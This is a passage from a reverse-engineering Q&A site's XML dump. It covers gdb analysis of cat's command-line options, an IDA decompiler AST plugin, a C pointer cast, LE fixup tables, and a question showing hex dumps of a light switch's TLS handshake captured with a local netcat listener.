()&#xA;(gdb) x/i $rip&#xA;=&amp;gt; 0x401acf:    callq  0x401710 &amp;lt;getopt_long@plt&amp;gt;&#xA;(gdb)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As is demonstrated here, it is not necessary to know where &lt;code&gt;main()&lt;/code&gt; is or even what the program entry point is. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the point at which &lt;code&gt;getopt_long()&lt;/code&gt; is called. Time to investigate the registers.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;(gdb) info registers &#xA;rax            0x0  0&#xA;rbx            0x7fffffffe138   140737488347448&#xA;rcx            0x409000 4231168&#xA;rdx            0x408f23 4230947&#xA;rsi            0x7fffffffe138   140737488347448&#xA;rdi            0x1  1&#xA;rbp            0x1000   0x1000&#xA;rsp            0x7fffffffdee0   0x7fffffffdee0&#xA;r8             0x0  0&#xA;r9             0x2  2&#xA;r10            0x7fffffffdca0   140737488346272&#xA;r11            0x7ffff7a51410   140737348178960&#xA;r12            0x402602 4204034&#xA;r13            0x7fffffffe130   140737488347440&#xA;r14            0x0  0&#xA;r15            0x0  0&#xA;rip            0x401acf 0x401acf&#xA;eflags         0x246    [ PF ZF IF ]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;%rcx and %rdx look interesting.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;(gdb) x/s $rdx&#xA;0x408f23:   &quot;benstuvAET&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;That's the option character string, composed of all character options that the program uses. The options are -b, -e, -n, -s, etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What about the long options? &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;(gdb) x/s $rcx&#xA;0x409000:   &quot;\225\217@&quot;        # oops, that is not a string&#xA;(gdb) x/xg $rcx&#xA;0x409000:   0x0000000000408f95&#xA;(gdb) x/s 0x0000000000408f95&#xA;0x408f95:   &quot;number-nonblank&quot;&#xA;(gdb)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So one long option is &quot;--number-nonblank&quot;. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;(gdb) x/s 0x0000000000408f95+64&#xA;0x408fd5:   &quot;show-tabs&quot;&#xA;(gdb) &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Another is &quot;--show-tabs&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And so on.&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Final Thoughts&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;If you have reached this point and have not died of boredom, congrats. It turns out that this &quot;mystery&quot; program is actually &lt;a href=&quot;http://git.savannah.gnu.org/cgit/coreutils.git/tree/src/cat.c&quot; rel=&quot;noreferrer&quot;&gt;&lt;code&gt;cat&lt;/code&gt;&lt;/a&gt;, a well-known Linux utility. In this particular case it was possible to discover what command line options the program was expecting.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is important to note that throughout the entire course of this example analysis the arguments/options passed to &lt;code&gt;mystery_program&lt;/code&gt;/&lt;code&gt;cat&lt;/code&gt; were never examined. When a user passes options x, y and z to some program and then analyzes it, it is not useful to then go to &lt;code&gt;main()&lt;/code&gt; and then look at the strings in &lt;code&gt;*argv[]&lt;/code&gt; since they are already known: &lt;code&gt;argv[0]&lt;/code&gt; points to the program name, &lt;code&gt;argv[1]&lt;/code&gt; points to the first argument after the program name, x, etc. &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;My colleague said just use objdump to reverse theFile first part of the main function&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Investigating &lt;code&gt;main()&lt;/code&gt; is done to recover what arguments were passed to the program when it was executed, not to determine what options a program will actually use. As was illustrated in the example, that information lies elsewhere in the program.&lt;/p&gt;&#xA;" OwnerUserId="18317" LastEditorUserId="18317" LastEditDate="2017-01-23T01:52:37.680" LastActivityDate="2017-01-23T01:52:37.680" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14474" PostTypeId="1" CreationDate="2017-01-22T03:41:28.393" Score="0" ViewCount="961" Body="&lt;p&gt;Hex Ray has introduced a decompiler API as part of IDA v6.6. Is there any plugin which displays the detail Abstract Syntax Tree (AST) produced by the decompiler graphically?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want something like &lt;a href=&quot;http://www.hexblog.com/decompilation/video/vd2.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;this&lt;/a&gt; as mentioned in this &lt;a href=&quot;http://www.hexblog.com/?p=66&quot; rel=&quot;nofollow noreferrer&quot;&gt;post&lt;/a&gt;. Unfortunately, I can't find the &lt;code&gt;Display graph&lt;/code&gt; option in IDA v6.95&lt;/p&gt;&#xA;" OwnerUserId="13634" LastEditorUserId="13634" LastEditDate="2017-01-22T04:53:52.933" LastActivityDate="2017-01-22T12:36:14.507" Title="Is there any IDA plugin to display AST?" Tags="|ida|ida-plugin|hexrays|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14475" PostTypeId="2" ParentId="14474" CreationDate="2017-01-22T12:36:14.507" Score="2" Body="&lt;p&gt;See the &lt;code&gt;vds5&lt;/code&gt; plugin in the Hex-Rays SDK.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/*&#xA; *      Hex-Rays Decompiler project&#xA; *      Copyright (c) 2007-2008 by Hex-Rays, support@hex-rays.com&#xA; *      ALL RIGHTS RESERVED.&#xA; *&#xA; *      Sample plugin for the Hex-Rays Decompiler.&#xA; *      It adds a new command to show graph of the ctree.&#xA; *      The current item will be highlighted in the graph.&#xA; *&#xA; *      The command hotkey is G. It is also added into the right-click menu.&#xA; *&#xA; *      To display the graph, we traverse the ctree and build&#xA; *      a gdl_graph_t object. Then we use gen_gdl() function from IDA&#xA; *      to create a GDL file from this object. Finally, we call&#xA; *      wingraph32 to display the graph on the screen.&#xA; *&#xA; */&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="60" LastActivityDate="2017-01-22T12:36:14.507" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="14476" PostTypeId="2" ParentId="14472" CreationDate="2017-01-22T13:00:05.080" Score="1" Body="&lt;p&gt;This is more of a C development question, however the answer is offset &lt;code&gt;0x40&lt;/code&gt; has a pointer to an array of &lt;code&gt;char&lt;/code&gt;s.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Code should be the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;char* charname = *(char **)(i + 0x40);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2147" LastActivityDate="2017-01-22T13:00:05.080" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14477" PostTypeId="2" ParentId="14359" CreationDate="2017-01-23T04:17:27.150" Score="1" Body="&lt;p&gt;In the end, the issue was due to the fixup tables. I wrote custom code to read the LE structure and thanks to some documents, figured out what offsets were being fixed up.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please note, you need to parse the Fixup Page table and then loop through checking positions. Then read the record data. &lt;/p&gt;&#xA;" OwnerUserId="18726" LastActivityDate="2017-01-23T04:17:27.150" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14478" PostTypeId="2" ParentId="14463" CreationDate="2017-01-23T08:03:48.623" Score="1" Body="&lt;p&gt;As far as I remember IDA license allows reverse engineering of IDA itself.&#xA;If suggestion that same rule is applicable to the decompiler is correct - the most approachable way to see the implementation is to reverse engineer the plugin - despite the fact that at least part of it should be significantly obfuscated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is, however, additional source of the information you can use, the documentation about C++ decompiler SDK is opened and can be found &lt;a href=&quot;https://www.hex-rays.com/products/decompiler/manual/sdk&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It includes the source of hexrays.hpp file (&lt;a href=&quot;https://www.hex-rays.com/products/decompiler/manual/sdk/hexrays_8hpp_source.shtml&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;) with decent amount of comments that may be helpful.&lt;/p&gt;&#xA;" OwnerUserId="2318" LastActivityDate="2017-01-23T08:03:48.623" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14480" PostTypeId="1" CreationDate="2017-01-24T02:42:34.240" Score="0" ViewCount="843" Body="&lt;p&gt;I have a Lutron Caseta light switch. When I open the iOS app, it connects to &lt;strong&gt;lutron.broker.xively.com&lt;/strong&gt; port 8883. Using a fakedns server I was able to direct that to my server running netcat as follows:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[me@machine :: ~]$ nc -l 8883 | xxd&#xA;&#xA;&#xA;00000000: 1603 0100 9201 0000 8e03 0358 86b8 87a7  ...........X....&#xA;00000010: af0b d067 d7c1 6f69 3f52 aa4a cf58 4c37  ...g..oi?R.J.XL7&#xA;00000020: 07cd c9a2 8007 8c12 69d3 f900 002c 00ff  ........i....,..&#xA;00000030: c02c c02b c024 c023 c00a c009 c008 c030  .,.+.$.#.......0&#xA;00000040: c02f c028 c027 c014 c013 c012 009d 009c  ./.(.'..........&#xA;00000050: 003d 003c 0035 002f 000a 0100 0039 000a  .=.&amp;lt;.5./.....9..&#xA;00000060: 0008 0006 0017 0018 0019 000b 0002 0100  ................&#xA;00000070: 000d 0012 0010 0401 0201 0501 0601 0403  ................&#xA;00000080: 0203 0503 0603 0005 0005 0100 0000 0000  ................&#xA;00000090: 1200 0000 1700 00                        .......&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;when i reconnect to the real broker server and send this data, it sends back the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;00000000: 1603 0300 5d02 0000 5903 0390 1ed9 de85  ....]...Y.......&#xA;00000010: b5a0 1d4b 1c85 7cb5 da8a efc9 9ce5 8277  ...K..|........w&#xA;00000020: 7592 cefb 27af 9b87 384c 8820 6f33 e681  u...'...8L. o3..&#xA;00000030: 2e81 f8ca 1036 a881 e640 8bdf 7c8e 0cfa  .....6...@..|...&#xA;00000040: 0ed6 041f 776c 0146 d996 86f0 c030 0000  ....wl.F.....0..&#xA;00000050: 11ff 0100 0100 000b 0004 0300 0102 0005  ................&#xA;00000060: 0000 1603 0309 f40b 0009 f000 09ed 0005  ................&#xA;00000070: 7a30 8205 7630 8204 5ea0 0302 0102 0212  z0..v0..^.......&#xA;00000080: 1121 e3ea e36b 0b95 9481 0331 f573 e072  .!...k.....1.s.r&#xA;00000090: 66c3 300d 0609 2a86 4886 f70d 0101 0b05  f.0...*.H.......&#xA;000000a0: 0030 6631 0b30 0906 0355 0406 1302 4245  .0f1.0...U....BE&#xA;000000b0: 3119 3017 0603 5504 0a13 1047 6c6f 6261  1.0...U....Globa&#xA;000000c0: 6c53 6967 6e20 6e76 2d73 6131 3c30 3a06  lSign nv-sa1&amp;lt;0:.&#xA;000000d0: 0355 0403 1333 476c 6f62 616c 5369 676e  .U...3GlobalSign&#xA;000000e0: 204f 7267 616e 697a 6174 696f 6e20 5661   Organization Va&#xA;000000f0: 6c69 6461 7469 6f6e 2043 4120 2d20 5348  lidation CA - SH&#xA;00000100: 4132 3536 202d 2047 3230 1e17 0d31 3630  A256 - G20...160&#xA;00000110: 3331 3831 3831 3130 365a 170d 3137 3033  318181106Z..1703&#xA;00000120: 3139 3138 3131 3036 5a30 6c31 0b30 0906  19181106Z0l1.0..&#xA;00000130: 0355 0406 1302 5553 3116 3014 0603 5504  .U....US1.0...U.&#xA;00000140: 0813 0d4d 6173 7361 6368 7573 6574 7473  ...Massachusetts&#xA;00000150: 310f 300d 0603 5504 0713 0642 6f73 746f  1.0...U....Bosto&#xA;00000160: 6e31 1630 1406 0355 040a 130d 4c6f 674d  n1.0...U....LogM&#xA;00000170: 6549 6e2c 2049 6e63 2e31 1c30 1a06 0355  eIn, Inc.1.0...U&#xA;00000180: 0403 0c13 2a2e 6272 6f6b 6572 2e78 6976  ....*.broker.xiv&#xA;00000190: 656c 792e 636f 6d30 8201 2230 0d06 092a  ely.com0..&quot;0...*&#xA;000001a0: 8648 86f7 0d01 0101 0500 0382 010f 0030  .H.............0&#xA;000001b0: 8201 0a02 8201 0100 e51b 84f4 c890 c8e5  ................&#xA;000001c0: 24f5 d657 3342 d11e ed16 dc32 67b3 0ed7  $..W3B.....2g...&#xA;000001d0: a485 5b4b 723c 1526 9c7a 724b a543 d962  ..[Kr&amp;lt;.&amp;amp;.zrK.C.b&#xA;000001e0: 02c7 9286 df60 f7b8 ee0c 2eb8 bdcc 6305  .....`........c.&#xA;000001f0: fe16 812a 4f9e cd5f 480f 8e4c 5a15 45b0  ...*O.._H..LZ.E.&#xA;00000200: 1ff3 1167 1885 c318 0a2a 4cbd 987d b724  ...g.....*L..}.$&#xA;00000210: 7095 22fb da8c 9a97 3491 bdf4 d9fc 6e15  p.&quot;.....4.....n.&#xA;00000220: 9b63 5ced 8f30 58a5 044d 5cb7 f347 aa93  .c\..0X..M\..G..&#xA;00000230: 435e dc54 8bf6 2c26 cc86 3191 3983 4b19  C^.T..,&amp;amp;..1.9.K.&#xA;00000240: b2ac 813d 7be3 db4d 6cc7 9baa 275b 8661  ...={..Ml...'[.a&#xA;00000250: d68c 99c4 39c6 587c 9ca4 e31b 1f4a ebae  ....9.X|.....J..&#xA;00000260: 2526 02cf 1a2c ee98 76f4 f94f 1e0d 8387  %&amp;amp;...,..v..O....&#xA;00000270: a46a 661d 8cd9 6082 48cd e764 74c8 670a  .jf...`.H..dt.g.&#xA;00000280: 7e36 41d4 eb57 f65e 2b9b b3f4 1b67 fac0  ~6A..W.^+....g..&#xA;00000290: 68ed ad82 e1f3 d205 949d e3cc 21c7 f379  h...........!..y&#xA;000002a0: cd2c c90e 69ef 47ff e571 11e1 8f5d e82b  .,..i.G..q...].+&#xA;000002b0: c74e 3463 3ffa ae65 0203 0100 01a3 8202  .N4c?..e........&#xA;000002c0: 1630 8202 1230 0e06 0355 1d0f 0101 ff04  .0...0...U......&#xA;000002d0: 0403 0205 a030 4906 0355 1d20 0442 3040  .....0I..U. .B0@&#xA;000002e0: 303e 0606 6781 0c01 0202 3034 3032 0608  0&amp;gt;..g.....0402..&#xA;000002f0: 2b06 0105 0507 0201 1626 6874 7470 733a  +........&amp;amp;https:&#xA;00000300: 2f2f 7777 772e 676c 6f62 616c 7369 676e  //www.globalsign&#xA;00000310: 2e63 6f6d 2f72 6570 6f73 6974 6f72 792f  .com/repository/&#xA;00000320: 305d 0603 551d 1104 5630 5482 132a 2e62  0]..U...V0T..*.b&#xA;00000330: 726f 6b65 722e 7869 7665 6c79 2e63 6f6d  roker.xively.com&#xA;00000340: 822a 6272 6f6b 6572 2e78 6976 656c 792e  .*broker.xively.&#xA;00000350: 6c6f 676d 6569 6e72 6573 6375 652d 656e  logmeinrescue-en&#xA;00000360: 7465 7270 7269 7365 2e63 6f6d 8211 6272  terprise.com..br&#xA;00000370: 6f6b 6572 2e78 6976 656c 792e 636f 6d30  oker.xively.com0&#xA;00000380: 0906 0355 1d13 0402 3000 301d 0603 551d  ...U....0.0...U.&#xA;00000390: 2504 1630 1406 082b 0601 0505 0703 0106  %..0...+........&#xA;000003a0: 082b 0601 0505 0703 0230 4906 0355 1d1f  .+.......0I..U..&#xA;000003b0: 0442 3040 303e a03c a03a 8638 6874 7470  .B0@0&amp;gt;.&amp;lt;.:.8http&#xA;000003c0: 3a2f 2f63 726c 2e67 6c6f 6261 6c73 6967  ://crl.globalsig&#xA;000003d0: 6e2e 636f 6d2f 6773 2f67 736f 7267 616e  n.com/gs/gsorgan&#xA;000003e0: 697a 6174 696f 6e76 616c 7368 6132 6732  izationvalsha2g2&#xA;000003f0: 2e63 726c 3081 a006 082b 0601 0505 0701  .crl0....+......&#xA;00000400: 0104 8193 3081 9030 4d06 082b 0601 0505  ....0..0M..+....&#xA;00000410: 0730 0286 4168 7474 703a 2f2f 7365 6375  .0..Ahttp://secu&#xA;00000420: 7265 2e67 6c6f 6261 6c73 6967 6e2e 636f  re.globalsign.co&#xA;00000430: 6d2f 6361 6365 7274 2f67 736f 7267 616e  m/cacert/gsorgan&#xA;00000440: 697a 6174 696f 6e76 616c 7368 6132 6732  izationvalsha2g2&#xA;00000450: 7231 2e63 7274 303f 0608 2b06 0105 0507  r1.crt0?..+.....&#xA;00000460: 3001 8633 6874 7470 3a2f 2f6f 6373 7032  0..3http://ocsp2&#xA;00000470: 2e67 6c6f 6261 6c73 6967 6e2e 636f 6d2f  .globalsign.com/&#xA;00000480: 6773 6f72 6761 6e69 7a61 7469 6f6e 7661  gsorganizationva&#xA;00000490: 6c73 6861 3267 3230 1d06 0355 1d0e 0416  lsha2g20...U....&#xA;000004a0: 0414 64c6 04aa 2fc4 f195 b96d c179 c61a  ..d.../....m.y..&#xA;000004b0: 1bd9 2fd0 5f77 301f 0603 551d 2304 1830  ../._w0...U.#..0&#xA;000004c0: 1680 1496 de61 f1bd 1c16 2953 1cc0 cc7d  .....a....)S...}&#xA;000004d0: 3b83 0040 e61a 7c30 0d06 092a 8648 86f7  ;..@..|0...*.H..&#xA;000004e0: 0d01 010b 0500 0382 0101 00b2 a7e3 e436  ...............6&#xA;000004f0: b7f4 6f06 d7d6 e151 018b fd59 3f9f 3545  ..o....Q...Y?.5E&#xA;00000500: bd84 4b83 60e6 8d06 519c 7513 1c27 7428  ..K.`...Q.u..'t(&#xA;00000510: 85c7 5347 cf3c e8ce 790a c7bf 9259 7135  ..SG.&amp;lt;..y....Yq5&#xA;00000520: 05bd 5130 e62e 6ca3 a6cd 0c95 4f01 8b0e  ..Q0..l.....O...&#xA;00000530: f964 ca3d 3a6f 9db3 51d2 3ba2 8695 b3be  .d.=:o..Q.;.....&#xA;00000540: 8be3 a0d9 9510 06c6 aeb1 69bc b5a5 be24  ..........i....$&#xA;00000550: 82b7 e619 0429 16f7 b25f 147f e521 a27b  .....)..._...!.{&#xA;00000560: f7ce 94f7 04f3 8fb5 8d6d 6bc2 96eb fde0  .........mk.....&#xA;00000570: ee37 5942 d8c8 f6fa 18f6 d7e1 bea7 5dca  .7YB..........].&#xA;00000580: 85b2 f7cd 4d26 0df1 7437 6b8e d31d 39c8  ....M&amp;amp;..t7k...9.&#xA;00000590: 69d3 823b 3097 da06 dfcd e73b 702d 6b12  i..;0......;p-k.&#xA;000005a0: b3ca e1f0 f869 3394 8d43 8ec6 fd8d 3284  .....i3..C....2.&#xA;000005b0: 9d33 92cf 34d1 2928 910b 2127 32cc f0af  .3..4.)(..!'2...&#xA;000005c0: 8390 94f3 6d78 96ee 787a fcf5 0952 b272  ....mx..xz...R.r&#xA;000005d0: ba1e 8e14 678d b2e6 8b3c c3eb dd4f c4ee  ....g....&amp;lt;...O..&#xA;000005e0: b11e 168f d715 f9f6 5118 9400 046d 3082  ........Q....m0.&#xA;000005f0: 0469 3082 0351 a003 0201 0202 0b04 0000  .i0..Q..........&#xA;00000600: 0000 0144 4ef0 4247 300d 0609 2a86 4886  ...DN.BG0...*.H.&#xA;00000610: f70d 0101 0b05 0030 5731 0b30 0906 0355  .......0W1.0...U&#xA;00000620: 0406 1302 4245 3119 3017 0603 5504 0a13  ....BE1.0...U...&#xA;00000630: 1047 6c6f 6261 6c53 6967 6e20 6e76 2d73  .GlobalSign nv-s&#xA;00000640: 6131 1030 0e06 0355 040b 1307 526f 6f74  a1.0...U....Root&#xA;00000650: 2043 4131 1b30 1906 0355 0403 1312 476c   CA1.0...U....Gl&#xA;00000660: 6f62 616c 5369 676e 2052 6f6f 7420 4341  obalSign Root CA&#xA;00000670: 301e 170d 3134 3032 3230 3130 3030 3030  0...140220100000&#xA;00000680: 5a17 0d32 3430 3232 3031 3030 3030 305a  Z..240220100000Z&#xA;00000690: 3066 310b 3009 0603 5504 0613 0242 4531  0f1.0...U....BE1&#xA;000006a0: 1930 1706 0355 040a 1310 476c 6f62 616c  .0...U....Global&#xA;000006b0: 5369 676e 206e 762d 7361 313c 303a 0603  Sign nv-sa1&amp;lt;0:..&#xA;000006c0: 5504 0313 3347 6c6f 6261 6c53 6967 6e20  U...3GlobalSign &#xA;000006d0: 4f72 6761 6e69 7a61 7469 6f6e 2056 616c  Organization Val&#xA;000006e0: 6964 6174 696f 6e20 4341 202d 2053 4841  idation CA - SHA&#xA;000006f0: 3235 3620 2d20 4732 3082 0122 300d 0609  256 - G20..&quot;0...&#xA;00000700: 2a86 4886 f70d 0101 0105 0003 8201 0f00  *.H.............&#xA;00000710: 3082 010a 0282 0101 00c7 0e6c 3f23 937f  0..........l?#..&#xA;00000720: cc70 a59d 20c3 0e53 3f7e c04e c298 49ca  .p.. ..S?~.N..I.&#xA;00000730: 47d5 23ef 0334 8574 c8a3 022e 465c 0b7d  G.#..4.t....F\.}&#xA;00000740: c988 9d4f 8bf0 f89c 6c8c 5535 dbbf f2b3  ...O....l.U5....&#xA;00000750: eafb e356 e74a 46d9 1322 ca36 d59b c1a8  ...V.JF..&quot;.6....&#xA;00000760: e396 4393 f20c bce6 f9e6 e899 c863 4878  ..C..........cHx&#xA;00000770: 7f57 3669 1a19 1d5a d1d4 7dc2 9cd4 7fe1  .W6i...Z..}.....&#xA;00000780: 8012 ae7a ea88 ea57 d8ca 0a0a 3a12 49a2  ...z...W....:.I.&#xA;00000790: 6219 7a0d 24f7 37eb b473 927b 0523 9b12  b.z.$.7..s.{.#..&#xA;000007a0: b5ce eb29 dfa4 1402 b901 a5d4 a69c 4364  ...)..........Cd&#xA;000007b0: 88de f87e fee3 f51e e5fe dca3 a8e4 6631  ...~..........f1&#xA;000007c0: d94c 25e9 18b9 8959 09ae e99d 1c6d 370f  .L%....Y.....m7.&#xA;000007d0: 4a1e 3520 28e2 afd4 218b 01c4 45ad 6e2b  J.5 (...!...E.n+&#xA;000007e0: 63ab 926b 610a 4d20 ed73 ba7c cefe 16b5  c..ka.M .s.|....&#xA;000007f0: db9f 80f0 d68b 6cd9 0879 4a4f 7865 da92  ......l..yJOxe..&#xA;00000800: bcbe 35f9 b3c4 f927 804e ff96 52e6 0220  ..5....'.N..R.. &#xA;00000810: e107 73e9 5d2b bdb2 f102 0301 0001 a382  ..s.]+..........&#xA;00000820: 0125 3082 0121 300e 0603 551d 0f01 01ff  .%0..!0...U.....&#xA;00000830: 0404 0302 0106 3012 0603 551d 1301 01ff  ......0...U.....&#xA;00000840: 0408 3006 0101 ff02 0100 301d 0603 551d  ..0.......0...U.&#xA;00000850: 0e04 1604 1496 de61 f1bd 1c16 2953 1cc0  .......a....)S..&#xA;00000860: cc7d 3b83 0040 e61a 7c30 4706 0355 1d20  .};..@..|0G..U. &#xA;00000870: 0440 303e 303c 0604 551d 2000 3034 3032  .@0&amp;gt;0&amp;lt;..U. .0402&#xA;00000880: 0608 2b06 0105 0507 0201 1626 6874 7470  ..+........&amp;amp;http&#xA;00000890: 733a 2f2f 7777 772e 676c 6f62 616c 7369  s://www.globalsi&#xA;000008a0: 676e 2e63 6f6d 2f72 6570 6f73 6974 6f72  gn.com/repositor&#xA;000008b0: 792f 3033 0603 551d 1f04 2c30 2a30 28a0  y/03..U...,0*0(.&#xA;000008c0: 26a0 2486 2268 7474 703a 2f2f 6372 6c2e  &amp;amp;.$.&quot;http://crl.&#xA;000008d0: 676c 6f62 616c 7369 676e 2e6e 6574 2f72  globalsign.net/r&#xA;000008e0: 6f6f 742e 6372 6c30 3d06 082b 0601 0505  oot.crl0=..+....&#xA;000008f0: 0701 0104 3130 2f30 2d06 082b 0601 0505  ....10/0-..+....&#xA;00000900: 0730 0186 2168 7474 703a 2f2f 6f63 7370  .0..!http://ocsp&#xA;00000910: 2e67 6c6f 6261 6c73 6967 6e2e 636f 6d2f  .globalsign.com/&#xA;00000920: 726f 6f74 7231 301f 0603 551d 2304 1830  rootr10...U.#..0&#xA;00000930: 1680 1460 7b66 1a45 0d97 ca89 502f 7d04  ...`{f.E....P/}.&#xA;00000940: cd34 a8ff fcfd 4b30 0d06 092a 8648 86f7  .4....K0...*.H..&#xA;00000950: 0d01 010b 0500 0382 0101 0046 2aee 5ebd  ...........F*.^.&#xA;00000960: ae01 6037 3111 8671 74b6 4649 c810 16fe  ..`71..qt.FI....&#xA;00000970: 2f62 2317 ab1f 87f8 82ed cadf 0e2c df64  /b#..........,.d&#xA;00000980: 758e e518 72a7 8c3a 8bc9 aca5 7750 f7ef  u...r..:....wP..&#xA;00000990: 9ea4 e0a0 8f14 57a3 2a5f ec7e 6d10 e6ba  ......W.*_.~m...&#xA;000009a0: 8db0 0887 760e 4cb2 d951 bb11 02f2 5cdd  ....v.L..Q....\.&#xA;000009b0: 1cbd f355 960f d406 c0fc e223 8a24 70d3  ...U.......#.$p.&#xA;000009c0: bbf0 791a a761 7083 8aaf 06c5 20d8 a163  ..y..ap..... ..c&#xA;000009d0: d06c ae4f 32d7 ae7c 1845 7505 2977 df42  .l.O2..|.Eu.)w.B&#xA;000009e0: 4064 6486 be2a 7609 316f 1d24 f499 d085  @dd..*v.1o.$....&#xA;000009f0: fef2 2108 f9c6 f6f1 d059 edd6 563c 0828  ..!......Y..V&amp;lt;.(&#xA;00000a00: 0367 baf0 f9f1 9016 47ae 67e6 bc80 48e9  .g......G.g...H.&#xA;00000a10: 4276 3497 5569 240e 83d6 a02d b4f5 f379  Bv4.Ui$....-...y&#xA;00000a20: 8a49 2874 1a41 a1c2 d324 8835 3060 9417  .I(t.A...$.50`..&#xA;00000a30: b4e1 0422 313d 3b2f 1706 b2b8 9d86 2b5a  ...&quot;1=;/......+Z&#xA;00000a40: 69ef 83f5 4bc4 aab4 2af8 7ca1 b185 948c  i...K...*.|.....&#xA;00000a50: f40c 870c f4ac 40f8 5949 9816 0303 0630  ......@.YI.....0&#xA;00000a60: 1600 062c 0100 0628 3082 0624 0a01 00a0  ...,...(0..$....&#xA;00000a70: 8206 1d30 8206 1906 092b 0601 0505 0730  ...0.....+.....0&#xA;00000a80: 0101 0482 060a 3082 0606 3081 a0a2 1604  ......0...0.....&#xA;00000a90: 149c 4d00 9900 0e8b b001 8175 a1ba f0d0  ..M........u....&#xA;00000aa0: 25d7 a01c 4718 0f32 3031 3730 3132 3231  %...G..201701221&#xA;00000ab0: 3535 3430 355a 3075 3073 304b 3009 0605  55405Z0u0s0K0...&#xA;00000ac0: 2b0e 0302 1a05 0004 140c 9e4d 9c3d edef  +..........M.=..&#xA;00000ad0: 84d8 91e9 72c7 cf84 06bc 197b 0704 1496  ....r......{....&#xA;00000ae0: de61 f1bd 1c16 2953 1cc0 cc7d 3b83 0040  .a....)S...};..@&#xA;00000af0: e61a 7c02 1211 21e3 eae3 6b0b 9594 8103  ..|...!...k.....&#xA;00000b00: 31f5 73e0 7266 c380 0018 0f32 3031 3730  1.s.rf.....20170&#xA;00000b10: 3132 3231 3535 3430 355a a011 180f 3230  122155405Z....20&#xA;00000b20: 3137 3031 3236 3135 3534 3035 5a30 0d06  170126155405Z0..&#xA;00000b30: 092a 8648 86f7 0d01 010b 0500 0382 0101  .*.H............&#xA;00000b40: 009c 066b 2688 c267 1437 8bf8 a2f6 dddb  ...k&amp;amp;..g.7......&#xA;00000b50: 2d01 b450 19ee d42f 3e75 3856 ce07 7e2d  -..P.../&amp;gt;u8V..~-&#xA;00000b60: 70c6 f92b 82d2 6a4b 6c67 4ddd 33f9 167f  p..+..jKlgM.3...&#xA;00000b70: ccc5 2530 e9dc cb2f 15d9 5a11 42c9 4fc3  ..%0.../..Z.B.O.&#xA;00000b80: 617c 64bc a1ae af71 3824 b666 5568 e8b5  a|d....q8$.fUh..&#xA;00000b90: 769a 0740 e058 8766 9443 d437 852d d297  v..@.X.f.C.7.-..&#xA;00000ba0: 9391 cfe2 82b7 f410 1b02 cd48 e05c 2d20  ...........H.\- &#xA;00000bb0: 1d67 a13d 59a7 ba85 a50c 1945 9e1e 59af  .g.=Y......E..Y.&#xA;00000bc0: 7b35 a15e 5dfb b571 d6f2 1114 8fd0 3c6c  {5.^]..q......&amp;lt;l&#xA;00000bd0: 7fce 224e 7b77 4a4c 3cff f17e 02e9 8687  ..&quot;N{wJL&amp;lt;..~....&#xA;00000be0: 0f3d 4b8e 4c97 4d7d 3bf5 75dc ca87 4967  .=K.L.M};.u...Ig&#xA;00000bf0: b965 cae6 abbc 3276 c694 18c7 286d 111c  .e....2v....(m..&#xA;00000c00: 9e05 5b3a 9b3f 78a3 70a6 719f 83de 99cf  ..[:.?x.p.q.....&#xA;00000c10: 4aa8 75a2 d9f0 9542 52db a813 bf5c 56b0  J.u....BR....\V.&#xA;00000c20: 275b 4725 18b9 084d f3bf 3fb1 a87a d8e7  '[G%...M..?..z..&#xA;00000c30: 4d68 0f77 89a2 fb16 c98a 6bf9 818a 4d76  Mh.w......k...Mv&#xA;00000c40: 55a0 8204 4b30 8204 4730 8204 4330 8203  U...K0..G0..C0..&#xA;00000c50: 2ba0 0302 0102 020c 7191 a17d fa64 63bd  +.......q..}.dc.&#xA;00000c60: 6adf 9f28 300d 0609 2a86 4886 f70d 0101  j..(0...*.H.....&#xA;00000c70: 0b05 0030 6631 0b30 0906 0355 0406 1302  ...0f1.0...U....&#xA;00000c80: 4245 3119 3017 0603 5504 0a13 1047 6c6f  BE1.0...U....Glo&#xA;00000c90: 6261 6c53 6967 6e20 6e76 2d73 6131 3c30  balSign 